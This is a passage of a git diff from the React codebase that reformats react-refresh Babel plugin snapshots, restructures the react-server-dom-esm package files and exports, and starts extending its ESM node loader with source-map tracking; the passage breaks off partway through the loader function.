   return [React.createElement(A), React.createElement(B), React.createElement(StyledFactory1), React.createElement(StyledFactory2), React.createElement(StyledFactory3), React.createElement(Alias1), React.createElement(Alias2), jsx(Header), React.createElement(Dict.X)];
 }
-
 _c5 = Foo;
 React.createContext(Store);
-const B = hoc(A); // This is currently registered as a false positive:
-
+const B = hoc(A);
+// This is currently registered as a false positive:
 _c6 = B;
-const NotAComponent = wow(A); // We could avoid it but it also doesn't hurt.
-
+const NotAComponent = wow(A);
+// We could avoid it but it also doesn't hurt.
 _c7 = NotAComponent;
-
 var _c, _c2, _c3, _c4, _c5, _c6, _c7;
-
 $RefreshReg$(_c, "Header");
 $RefreshReg$(_c2, "StyledFactory1");
 $RefreshReg$(_c3, "StyledFactory2");
@@ -456,9 +366,7 @@ _c5 = B;
 export default _c8 = React.memo(_c7 = forwardRef(_c6 = (props, ref) => {
   return <h1>Foo</h1>;
 }));
-
 var _c, _c2, _c3, _c4, _c5, _c6, _c7, _c8;
-
 $RefreshReg$(_c, "A$forwardRef");
 $RefreshReg$(_c2, "A");
 $RefreshReg$(_c3, "B$memo$React.forwardRef");
@@ -473,9 +381,7 @@ exports[`ReactFreshBabelPlugin registers likely HOCs with inline functions 2`] =
 export default _c3 = React.memo(_c2 = forwardRef(_c = function (props, ref) {
   return <h1>Foo</h1>;
 }));
-
 var _c, _c2, _c3;
-
 $RefreshReg$(_c, "%default%$React.memo$forwardRef");
 $RefreshReg$(_c2, "%default%$React.memo");
 $RefreshReg$(_c3, "%default%");
@@ -485,9 +391,7 @@ exports[`ReactFreshBabelPlugin registers likely HOCs with inline functions 3`] =
 export default _c3 = React.memo(_c2 = forwardRef(_c = function Named(props, ref) {
   return <h1>Foo</h1>;
 }));
-
 var _c, _c2, _c3;
-
 $RefreshReg$(_c, "%default%$React.memo$forwardRef");
 $RefreshReg$(_c2, "%default%$React.memo");
 $RefreshReg$(_c3, "%default%");
@@ -496,7 +400,6 @@ $RefreshReg$(_c3, "%default%");
 exports[`ReactFreshBabelPlugin registers top-level exported function declarations 1`] = `
 export function Hello() {
   function handleClick() {}
-
   return <h1 onClick={handleClick}>Hi</h1>;
 }
 _c = Hello;
@@ -504,19 +407,15 @@ export default function Bar() {
   return <Hello />;
 }
 _c2 = Bar;
-
 function Baz() {
   return <h1>OK</h1>;
 }
-
 _c3 = Baz;
 const NotAComp = 'hi';
 export { Baz, NotAComp };
 export function sum() {}
 export const Bad = 42;
-
 var _c, _c2, _c3;
-
 $RefreshReg$(_c, "Hello");
 $RefreshReg$(_c2, "Bar");
 $RefreshReg$(_c3, "Baz");
@@ -525,7 +424,6 @@ $RefreshReg$(_c3, "Baz");
 exports[`ReactFreshBabelPlugin registers top-level exported named arrow functions 1`] = `
 export const Hello = () => {
   function handleClick() {}
-
   return <h1 onClick={handleClick}>Hi</h1>;
 };
 _c = Hello;
@@ -536,9 +434,7 @@ export default (() => {
   // You should name your components.
   return <Hello />;
 });
-
 var _c, _c2;
-
 $RefreshReg$(_c, "Hello");
 $RefreshReg$(_c2, "Bar");
 `;
@@ -546,20 +442,14 @@ $RefreshReg$(_c2, "Bar");
 exports[`ReactFreshBabelPlugin registers top-level function declarations 1`] = `
 function Hello() {
   function handleClick() {}
-
   return <h1 onClick={handleClick}>Hi</h1>;
 }
-
 _c = Hello;
-
 function Bar() {
   return <Hello />;
 }
-
 _c2 = Bar;
-
 var _c, _c2;
-
 $RefreshReg$(_c, "Hello");
 $RefreshReg$(_c2, "Bar");
 `;
@@ -567,26 +457,17 @@ $RefreshReg$(_c2, "Bar");
 exports[`ReactFreshBabelPlugin registers top-level variable declarations with arrow functions 1`] = `
 let Hello = () => {
   const handleClick = () => {};
-
   return <h1 onClick={handleClick}>Hi</h1>;
 };
-
 _c = Hello;
-
 const Bar = () => {
   return <Hello />;
 };
-
 _c2 = Bar;
-
 var Baz = () => <div />;
-
 _c3 = Baz;
-
 var sum = () => {};
-
 var _c, _c2, _c3;
-
 $RefreshReg$(_c, "Hello");
 $RefreshReg$(_c2, "Bar");
 $RefreshReg$(_c3, "Baz");
@@ -595,25 +476,17 @@ $RefreshReg$(_c3, "Baz");
 exports[`ReactFreshBabelPlugin registers top-level variable declarations with function expressions 1`] = `
 let Hello = function () {
   function handleClick() {}
-
   return <h1 onClick={handleClick}>Hi</h1>;
 };
-
 _c = Hello;
-
 const Bar = function Baz() {
   return <Hello />;
 };
-
 _c2 = Bar;
-
 function sum() {}
-
 let Baz = 10;
 var Qux;
-
 var _c, _c2;
-
 $RefreshReg$(_c, "Hello");
 $RefreshReg$(_c2, "Bar");
 `;
@@ -637,9 +510,7 @@ namespace Foo {
     export const E = () => {};
   }
 }
-
 var _c, _c2, _c3, _c4;
-
 $RefreshReg$(_c, "Foo$Bar$A");
 $RefreshReg$(_c2, "Foo$Bar$B");
 $RefreshReg$(_c3, "Foo$C");
@@ -648,21 +519,15 @@ $RefreshReg$(_c4, "Foo$D");
 
 exports[`ReactFreshBabelPlugin uses custom identifiers for $RefreshReg$ and $RefreshSig$ 1`] = `
 var _s = import.meta.refreshSig();
-
 export default function Bar() {
   _s();
-
   useContext(X);
   return <Foo />;
 }
-
 _s(Bar, "useContext{}");
-
 _c = Bar;
 ;
-
 var _c;
-
 import.meta.refreshReg(_c, "Bar");
 `;
 
@@ -670,11 +535,8 @@ exports[`ReactFreshBabelPlugin uses original function declaration if it get reas
 function Hello() {
   return <h1>Hi</h1>;
 }
-
 _c = Hello;
 Hello = connect(Hello);
-
 var _c;
-
 $RefreshReg$(_c, "Hello");
 `;
diff --git a/packages/react-server-dom-esm/client.browser.js b/packages/react-server-dom-esm/client.browser.js
index 7d26c2771e50..945ceed7f394 100644
--- a/packages/react-server-dom-esm/client.browser.js
+++ b/packages/react-server-dom-esm/client.browser.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientBrowser';
+export * from './src/client/ReactFlightDOMClientBrowser';
diff --git a/packages/react-server-dom-esm/client.node.js b/packages/react-server-dom-esm/client.node.js
index 4f435353a20f..c2e364f42f13 100644
--- a/packages/react-server-dom-esm/client.node.js
+++ b/packages/react-server-dom-esm/client.node.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMClientNode';
+export * from './src/client/ReactFlightDOMClientNode';
diff --git a/packages/react-server-dom-esm/npm/server.node.js b/packages/react-server-dom-esm/npm/server.node.js
index 0896fc96b3ac..579ab59b34b7 100644
--- a/packages/react-server-dom-esm/npm/server.node.js
+++ b/packages/react-server-dom-esm/npm/server.node.js
@@ -1,7 +1,17 @@
 'use strict';
 
+var s;
 if (process.env.NODE_ENV === 'production') {
-  module.exports = require('./cjs/react-server-dom-esm-server.node.production.js');
+  s = require('./cjs/react-server-dom-esm-server.node.production.js');
 } else {
-  module.exports = require('./cjs/react-server-dom-esm-server.node.development.js');
+  s = require('./cjs/react-server-dom-esm-server.node.development.js');
 }
+
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReply = s.decodeReply;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.registerServerReference = s.registerServerReference;
+exports.registerClientReference = s.registerClientReference;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
diff --git a/packages/react-server-dom-esm/npm/static.js b/packages/react-server-dom-esm/npm/static.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-esm/npm/static.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-esm/npm/static.node.js b/packages/react-server-dom-esm/npm/static.node.js
new file mode 100644
index 000000000000..eea9fb7e18eb
--- /dev/null
+++ b/packages/react-server-dom-esm/npm/static.node.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-esm-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-esm-server.node.development.js');
+}
+
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-esm/package.json b/packages/react-server-dom-esm/package.json
index bd9e9c394962..79f73eb9844e 100644
--- a/packages/react-server-dom-esm/package.json
+++ b/packages/react-server-dom-esm/package.json
@@ -1,7 +1,7 @@
 {
   "name": "react-server-dom-esm",
   "description": "React Server Components bindings for DOM using ESM. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "keywords": [
     "react"
   ],
@@ -17,6 +17,8 @@
     "client.node.js",
     "server.js",
     "server.node.js",
+    "static.js",
+    "static.node.js",
     "cjs/",
     "esm/"
   ],
@@ -33,6 +35,11 @@
       "default": "./server.js"
     },
     "./server.node": "./server.node.js",
+    "./static": {
+      "react-server": "./static.node.js",
+      "default": "./static.js"
+    },
+    "./static.node": "./static.node.js",
     "./node-loader": "./esm/react-server-dom-esm-node-loader.production.js",
     "./src/*": "./src/*.js",
     "./package.json": "./package.json"
@@ -51,6 +58,7 @@
     "react-dom": "^19.0.0"
   },
   "dependencies": {
-    "acorn-loose": "^8.3.0"
+    "acorn-loose": "^8.3.0",
+    "webpack-sources": "^3.2.0"
   }
 }
diff --git a/packages/react-server-dom-esm/server.node.js b/packages/react-server-dom-esm/server.node.js
index 7726b9bb929d..6e644db0c7c7 100644
--- a/packages/react-server-dom-esm/server.node.js
+++ b/packages/react-server-dom-esm/server.node.js
@@ -7,4 +7,13 @@
  * @flow
  */
 
-export * from './src/ReactFlightDOMServerNode';
+export {
+  renderToPipeableStream,
+  decodeReplyFromBusboy,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createTemporaryReferenceSet,
+} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-esm/src/ReactFlightClientConfigBundlerESM.js b/packages/react-server-dom-esm/src/ReactFlightClientConfigBundlerESM.js
deleted file mode 100644
index 5db99dc8fff0..000000000000
--- a/packages/react-server-dom-esm/src/ReactFlightClientConfigBundlerESM.js
+++ /dev/null
@@ -1,120 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Thenable,
-  FulfilledThenable,
-  RejectedThenable,
-} from 'shared/ReactTypes';
-import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
-
-export type SSRModuleMap = string; // Module root path
-
-export type ServerManifest = string; // Module root path
-
-export type ServerReferenceId = string;
-
-import {prepareDestinationForModuleImpl} from 'react-client/src/ReactFlightClientConfig';
-
-export opaque type ClientReferenceMetadata = [
-  string, // module path
-  string, // export name
-];
-
-// eslint-disable-next-line no-unused-vars
-export opaque type ClientReference<T> = {
-  specifier: string,
-  name: string,
-};
-
-// The reason this function needs to defined here in this file instead of just
-// being exported directly from the WebpackDestination... file is because the
-// ClientReferenceMetadata is opaque and we can't unwrap it there.
-// This should get inlined and we could also just implement an unwrapping function
-// though that risks it getting used in places it shouldn't be. This is unfortunate
-// but currently it seems to be the best option we have.
-export function prepareDestinationForModule(
-  moduleLoading: ModuleLoading,
-  nonce: ?string,
-  metadata: ClientReferenceMetadata,
-) {
-  prepareDestinationForModuleImpl(moduleLoading, metadata[0], nonce);
-}
-
-export function resolveClientReference<T>(
-  bundlerConfig: SSRModuleMap,
-  metadata: ClientReferenceMetadata,
-): ClientReference<T> {
-  const baseURL = bundlerConfig;
-  return {
-    specifier: baseURL + metadata[0],
-    name: metadata[1],
-  };
-}
-
-export function resolveServerReference<T>(
-  config: ServerManifest,
-  id: ServerReferenceId,
-): ClientReference<T> {
-  const baseURL: string = config;
-  const idx = id.lastIndexOf('#');
-  const exportName = id.slice(idx + 1);
-  const fullURL = id.slice(0, idx);
-  if (!fullURL.startsWith(baseURL)) {
-    throw new Error(
-      'Attempted to load a Server Reference outside the hosted root.',
-    );
-  }
-  return {specifier: fullURL, name: exportName};
-}
-
-const asyncModuleCache: Map<string, Thenable<any>> = new Map();
-
-export function preloadModule<T>(
-  metadata: ClientReference<T>,
-): null | Thenable<any> {
-  const existingPromise = asyncModuleCache.get(metadata.specifier);
-  if (existingPromise) {
-    if (existingPromise.status === 'fulfilled') {
-      return null;
-    }
-    return existingPromise;
-  } else {
-    // $FlowFixMe[unsupported-syntax]
-    const modulePromise: Thenable<T> = import(metadata.specifier);
-    modulePromise.then(
-      value => {
-        const fulfilledThenable: FulfilledThenable<mixed> =
-          (modulePromise: any);
-        fulfilledThenable.status = 'fulfilled';
-        fulfilledThenable.value = value;
-      },
-      reason => {
-        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);
-        rejectedThenable.status = 'rejected';
-        rejectedThenable.reason = reason;
-      },
-    );
-    asyncModuleCache.set(metadata.specifier, modulePromise);
-    return modulePromise;
-  }
-}
-
-export function requireModule<T>(metadata: ClientReference<T>): T {
-  let moduleExports;
-  // We assume that preloadModule has been called before, which
-  // should have added something to the module cache.
-  const promise: any = asyncModuleCache.get(metadata.specifier);
-  if (promise.status === 'fulfilled') {
-    moduleExports = promise.value;
-  } else {
-    throw promise.reason;
-  }
-  return moduleExports[metadata.name];
-}
diff --git a/packages/react-server-dom-esm/src/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-esm/src/ReactFlightDOMClientBrowser.js
deleted file mode 100644
index 56d98e65176d..000000000000
--- a/packages/react-server-dom-esm/src/ReactFlightDOMClientBrowser.js
+++ /dev/null
@@ -1,139 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable} from 'shared/ReactTypes.js';
-
-import type {
-  Response as FlightResponse,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {
-  processReply,
-  createServerReference,
-} from 'react-client/src/ReactFlightReplyClient';
-
-import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
-
-export type Options = {
-  moduleBaseURL?: string,
-  callServer?: CallServerCallback,
-  temporaryReferences?: TemporaryReferenceSet,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createResponseFromOptions(options: void | Options) {
-  return createResponse(
-    options && options.moduleBaseURL ? options.moduleBaseURL : '',
-    null,
-    options && options.callServer ? options.callServer : undefined,
-    undefined, // encodeFormAction
-    undefined, // nonce
-    options && options.temporaryReferences
-      ? options.temporaryReferences
-      : undefined,
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-}
-
-function startReadingFromStream(
-  response: FlightResponse,
-  stream: ReadableStream,
-): void {
-  const reader = stream.getReader();
-  function progress({
-    done,
-    value,
-  }: {
-    done: boolean,
-    value: ?any,
-    ...
-  }): void | Promise<void> {
-    if (done) {
-      close(response);
-      return;
-    }
-    const buffer: Uint8Array = (value: any);
-    processBinaryChunk(response, buffer);
-    return reader.read().then(progress).catch(error);
-  }
-  function error(e: any) {
-    reportGlobalError(response, e);
-  }
-  reader.read().then(progress).catch(error);
-}
-
-function createFromReadableStream<T>(
-  stream: ReadableStream,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  startReadingFromStream(response, stream);
-  return getRoot(response);
-}
-
-function createFromFetch<T>(
-  promiseForResponse: Promise<Response>,
-  options?: Options,
-): Thenable<T> {
-  const response: FlightResponse = createResponseFromOptions(options);
-  promiseForResponse.then(
-    function (r) {
-      startReadingFromStream(response, (r.body: any));
-    },
-    function (e) {
-      reportGlobalError(response, e);
-    },
-  );
-  return getRoot(response);
-}
-
-function encodeReply(
-  value: ReactServerValue,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Promise<
-  string | URLSearchParams | FormData,
-> /* We don't use URLSearchParams yet but maybe */ {
-  return new Promise((resolve, reject) => {
-    processReply(
-      value,
-      '',
-      options && options.temporaryReferences
-        ? options.temporaryReferences
-        : undefined,
-      resolve,
-      reject,
-    );
-  });
-}
-
-export {
-  createFromFetch,
-  createFromReadableStream,
-  encodeReply,
-  createServerReference,
-};
diff --git a/packages/react-server-dom-esm/src/ReactFlightDOMClientNode.js b/packages/react-server-dom-esm/src/ReactFlightDOMClientNode.js
deleted file mode 100644
index 7bcc12d94b08..000000000000
--- a/packages/react-server-dom-esm/src/ReactFlightDOMClientNode.js
+++ /dev/null
@@ -1,82 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
-
-import type {
-  Response,
-  FindSourceMapURLCallback,
-} from 'react-client/src/ReactFlightClient';
-
-import type {Readable} from 'stream';
-
-import {
-  createResponse,
-  getRoot,
-  reportGlobalError,
-  processBinaryChunk,
-  close,
-} from 'react-client/src/ReactFlightClient';
-
-import {createServerReference as createServerReferenceImpl} from 'react-client/src/ReactFlightReplyClient';
-
-function noServerCall() {
-  throw new Error(
-    'Server Functions cannot be called during initial render. ' +
-      'This would create a fetch waterfall. Try to use a Server Component ' +
-      'to pass data to Client Components instead.',
-  );
-}
-
-export function createServerReference<A: Iterable<any>, T>(
-  id: any,
-  callServer: any,
-): (...A) => Promise<T> {
-  return createServerReferenceImpl(id, noServerCall);
-}
-
-type EncodeFormActionCallback = <A>(
-  id: any,
-  args: Promise<A>,
-) => ReactCustomFormAction;
-
-export type Options = {
-  nonce?: string,
-  encodeFormAction?: EncodeFormActionCallback,
-  findSourceMapURL?: FindSourceMapURLCallback,
-};
-
-function createFromNodeStream<T>(
-  stream: Readable,
-  moduleRootPath: string,
-  moduleBaseURL: string,
-  options?: Options,
-): Thenable<T> {
-  const response: Response = createResponse(
-    moduleRootPath,
-    moduleBaseURL,
-    noServerCall,
-    options ? options.encodeFormAction : undefined,
-    options && typeof options.nonce === 'string' ? options.nonce : undefined,
-    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
-    __DEV__ && options && options.findSourceMapURL
-      ? options.findSourceMapURL
-      : undefined,
-  );
-  stream.on('data', chunk => {
-    processBinaryChunk(response, chunk);
-  });
-  stream.on('error', error => {
-    reportGlobalError(response, error);
-  });
-  stream.on('end', () => close(response));
-  return getRoot(response);
-}
-
-export {createFromNodeStream};
diff --git a/packages/react-server-dom-esm/src/ReactFlightDOMServerNode.js b/packages/react-server-dom-esm/src/ReactFlightDOMServerNode.js
deleted file mode 100644
index 16891a14641b..000000000000
--- a/packages/react-server-dom-esm/src/ReactFlightDOMServerNode.js
+++ /dev/null
@@ -1,213 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {
-  Request,
-  ReactClientValue,
-} from 'react-server/src/ReactFlightServer';
-import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
-import type {ClientManifest} from './ReactFlightServerConfigESMBundler';
-import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
-import type {Busboy} from 'busboy';
-import type {Writable} from 'stream';
-import type {Thenable} from 'shared/ReactTypes';
-
-import {
-  createRequest,
-  startWork,
-  startFlowing,
-  stopFlowing,
-  abort,
-} from 'react-server/src/ReactFlightServer';
-
-import {
-  createResponse,
-  reportGlobalError,
-  close,
-  resolveField,
-  resolveFileInfo,
-  resolveFileChunk,
-  resolveFileComplete,
-  getRoot,
-} from 'react-server/src/ReactFlightReplyServer';
-
-import {
-  decodeAction,
-  decodeFormState,
-} from 'react-server/src/ReactFlightActionServer';
-
-export {
-  registerServerReference,
-  registerClientReference,
-} from './ReactFlightESMReferences';
-
-import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
-
-export type {TemporaryReferenceSet};
-
-function createDrainHandler(destination: Destination, request: Request) {
-  return () => startFlowing(request, destination);
-}
-
-function createCancelHandler(request: Request, reason: string) {
-  return () => {
-    stopFlowing(request);
-    // eslint-disable-next-line react-internal/prod-error-codes
-    abort(request, new Error(reason));
-  };
-}
-
-type Options = {
-  environmentName?: string | (() => string),
-  onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
-  identifierPrefix?: string,
-  temporaryReferences?: TemporaryReferenceSet,
-};
-
-type PipeableStream = {
-  abort(reason: mixed): void,
-  pipe<T: Writable>(destination: T): T,
-};
-
-function renderToPipeableStream(
-  model: ReactClientValue,
-  moduleBasePath: ClientManifest,
-  options?: Options,
-): PipeableStream {
-  const request = createRequest(
-    model,
-    moduleBasePath,
-    options ? options.onError : undefined,
-    options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
-    options ? options.temporaryReferences : undefined,
-  );
-  let hasStartedFlowing = false;
-  startWork(request);
-  return {
-    pipe<T: Writable>(destination: T): T {
-      if (hasStartedFlowing) {
-        throw new Error(
-          'React currently only supports piping to one writable stream.',
-        );
-      }
-      hasStartedFlowing = true;
-      startFlowing(request, destination);
-      destination.on('drain', createDrainHandler(destination, request));
-      destination.on(
-        'error',
-        createCancelHandler(
-          request,
-          'The destination stream errored while writing data.',
-        ),
-      );
-      destination.on(
-        'close',
-        createCancelHandler(request, 'The destination stream closed early.'),
-      );
-      return destination;
-    },
-    abort(reason: mixed) {
-      abort(request, reason);
-    },
-  };
-}
-
-function decodeReplyFromBusboy<T>(
-  busboyStream: Busboy,
-  moduleBasePath: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  const response = createResponse(
-    moduleBasePath,
-    '',
-    options ? options.temporaryReferences : undefined,
-  );
-  let pendingFiles = 0;
-  const queuedFields: Array<string> = [];
-  busboyStream.on('field', (name, value) => {
-    if (pendingFiles > 0) {
-      // Because the 'end' event fires two microtasks after the next 'field'
-      // we would resolve files and fields out of order. To handle this properly
-      // we queue any fields we receive until the previous file is done.
-      queuedFields.push(name, value);
-    } else {
-      resolveField(response, name, value);
-    }
-  });
-  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
-    if (encoding.toLowerCase() === 'base64') {
-      throw new Error(
-        "React doesn't accept base64 encoded file uploads because we don't expect " +
-          "form data passed from a browser to ever encode data that way. If that's " +
-          'the wrong assumption, we can easily fix it.',
-      );
-    }
-    pendingFiles++;
-    const file = resolveFileInfo(response, name, filename, mimeType);
-    value.on('data', chunk => {
-      resolveFileChunk(response, file, chunk);
-    });
-    value.on('end', () => {
-      resolveFileComplete(response, name, file);
-      pendingFiles--;
-      if (pendingFiles === 0) {
-        // Release any queued fields
-        for (let i = 0; i < queuedFields.length; i += 2) {
-          resolveField(response, queuedFields[i], queuedFields[i + 1]);
-        }
-        queuedFields.length = 0;
-      }
-    });
-  });
-  busboyStream.on('finish', () => {
-    close(response);
-  });
-  busboyStream.on('error', err => {
-    reportGlobalError(
-      response,
-      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
-      err,
-    );
-  });
-  return getRoot(response);
-}
-
-function decodeReply<T>(
-  body: string | FormData,
-  moduleBasePath: ServerManifest,
-  options?: {temporaryReferences?: TemporaryReferenceSet},
-): Thenable<T> {
-  if (typeof body === 'string') {
-    const form = new FormData();
-    form.append('0', body);
-    body = form;
-  }
-  const response = createResponse(
-    moduleBasePath,
-    '',
-    options ? options.temporaryReferences : undefined,
-    body,
-  );
-  const root = getRoot<T>(response);
-  close(response);
-  return root;
-}
-
-export {
-  renderToPipeableStream,
-  decodeReplyFromBusboy,
-  decodeReply,
-  decodeAction,
-  decodeFormState,
-};
diff --git a/packages/react-server-dom-esm/src/ReactFlightESMNodeLoader.js b/packages/react-server-dom-esm/src/ReactFlightESMNodeLoader.js
index 2ee88a28c8ab..450f1b25d022 100644
--- a/packages/react-server-dom-esm/src/ReactFlightESMNodeLoader.js
+++ b/packages/react-server-dom-esm/src/ReactFlightESMNodeLoader.js
@@ -9,6 +9,9 @@
 
 import * as acorn from 'acorn-loose';
 
+import readMappings from 'webpack-sources/lib/helpers/readMappings.js';
+import createMappingsSerializer from 'webpack-sources/lib/helpers/createMappingsSerializer.js';
+
 type ResolveContext = {
   conditions: Array<string>,
   parentURL: string | void,
@@ -95,45 +98,102 @@ export async function getSource(
   return defaultGetSource(url, context, defaultGetSource);
 }
 
-function addLocalExportedNames(names: Map<string, string>, node: any) {
+type ExportedEntry = {
+  localName: string,
+  exportedName: string,
+  type: null | string,
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+  originalLine: number,
+  originalColumn: number,
+  originalSource: number,
+  nameIndex: number,
+};
+
+function addExportedEntry(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  localName: string,
+  exportedName: string,
+  type: null | 'function',
+  loc: {
+    start: {line: number, column: number},
+    end: {line: number, column: number},
+  },
+) {
+  if (localNames.has(localName)) {
+    // If the same local name is exported more than once, we only need one of the names.
+    return;
+  }
+  exportedEntries.push({
+    localName,
+    exportedName,
+    type,
+    loc,
+    originalLine: -1,
+    originalColumn: -1,
+    originalSource: -1,
+    nameIndex: -1,
+  });
+}
+
+function addLocalExportedNames(
+  exportedEntries: Array<ExportedEntry>,
+  localNames: Set<string>,
+  node: any,
+) {
   switch (node.type) {
     case 'Identifier':
-      names.set(node.name, node.name);
+      addExportedEntry(
+        exportedEntries,
+        localNames,
+        node.name,
+        node.name,
+        null,
+        node.loc,
+      );
       return;
     case 'ObjectPattern':
       for (let i = 0; i < node.properties.length; i++)
-        addLocalExportedNames(names, node.properties[i]);
+        addLocalExportedNames(exportedEntries, localNames, node.properties[i]);
       return;
     case 'ArrayPattern':
       for (let i = 0; i < node.elements.length; i++) {
         const element = node.elements[i];
-        if (element) addLocalExportedNames(names, element);
+        if (element)
+          addLocalExportedNames(exportedEntries, localNames, element);
       }
       return;
     case 'Property':
-      addLocalExportedNames(names, node.value);
+      addLocalExportedNames(exportedEntries, localNames, node.value);
       return;
     case 'AssignmentPattern':
-      addLocalExportedNames(names, node.left);
+      addLocalExportedNames(exportedEntries, localNames, node.left);
       return;
     case 'RestElement':
-      addLocalExportedNames(names, node.argument);
+      addLocalExportedNames(exportedEntries, localNames, node.argument);
       return;
     case 'ParenthesizedExpression':
-      addLocalExportedNames(names, node.expression);
+      addLocalExportedNames(exportedEntries, localNames, node.expression);
       return;
   }
 }
 
 function transformServerModule(
   source: string,
-  body: any,
+  program: any,
   url: string,
+  sourceMap: any,
   loader: LoadFunction,
 ): string {
-  // If the same local name is exported more than once, we only need one of the names.
-  const localNames: Map<string, string> = new Map();
-  const localTypes: Map<string, string> = new Map();
+  const body = program.body;
+
+  // This entry list needs to be in source location order.
+  const exportedEntries: Array<ExportedEntry> = [];
+  // Dedupe set.
+  const localNames: Set<string> = new Set();
 
   for (let i = 0; i < body.length; i++) {
     const node = body[i];
@@ -143,11 +203,24 @@ function transformServerModule(
         break;
       case 'ExportDefaultDeclaration':
         if (node.declaration.type === 'Identifier') {
-          localNames.set(node.declaration.name, 'default');
+          addExportedEntry(
+            exportedEntries,
+            localNames,
+            node.declaration.name,
+            'default',
+            null,
+            node.declaration.loc,
+          );
         } else if (node.declaration.type === 'FunctionDeclaration') {
           if (node.declaration.id) {
-            localNames.set(node.declaration.id.name, 'default');
-            localTypes.set(node.declaration.id.name, 'function');
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              node.declaration.id.name,
+              'default',
+              'function',
+              node.declaration.id.loc,
+            );
           } else {
             // TODO: This needs to be rewritten inline because it doesn't have a local name.
           }
@@ -158,41 +231,230 @@ function transformServerModule(
           if (node.declaration.type === 'VariableDeclaration') {
             const declarations = node.declaration.declarations;
             for (let j = 0; j < declarations.length; j++) {
-              addLocalExportedNames(localNames, declarations[j].id);
+              addLocalExportedNames(
+                exportedEntries,
+                localNames,
+                declarations[j].id,
+              );
             }
           } else {
             const name = node.declaration.id.name;
-            localNames.set(name, name);
-            if (node.declaration.type === 'FunctionDeclaration') {
-              localTypes.set(name, 'function');
-            }
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              name,
+              name,
+
+              node.declaration.type === 'FunctionDeclaration'
+                ? 'function'
+                : null,
+              node.declaration.id.loc,
+            );
           }
         }
         if (node.specifiers) {
           const specifiers = node.specifiers;
           for (let j = 0; j < specifiers.length; j++) {
             const specifier = specifiers[j];
-            localNames.set(specifier.local.name, specifier.exported.name);
+            addExportedEntry(
+              exportedEntries,
+              localNames,
+              specifier.local.name,
+              specifier.exported.name,
+              null,
+              specifier.local.loc,
+            );
           }
         }
         continue;
     }
   }
-  if (localNames.size === 0) {
-    return source;
-  }
-  let newSrc = source + '\n\n;';
-  newSrc +=
-    'import {registerServerReference} from "react-server-dom-esm/server";\n';
-  localNames.forEach(function (exported, local) {
-    if (localTypes.get(local) !== 'function') {
-      // We first check if the export is a function and if so annotate it.
-      newSrc += 'if (typeof ' + local + ' === "function") ';
+
+  let mappings =
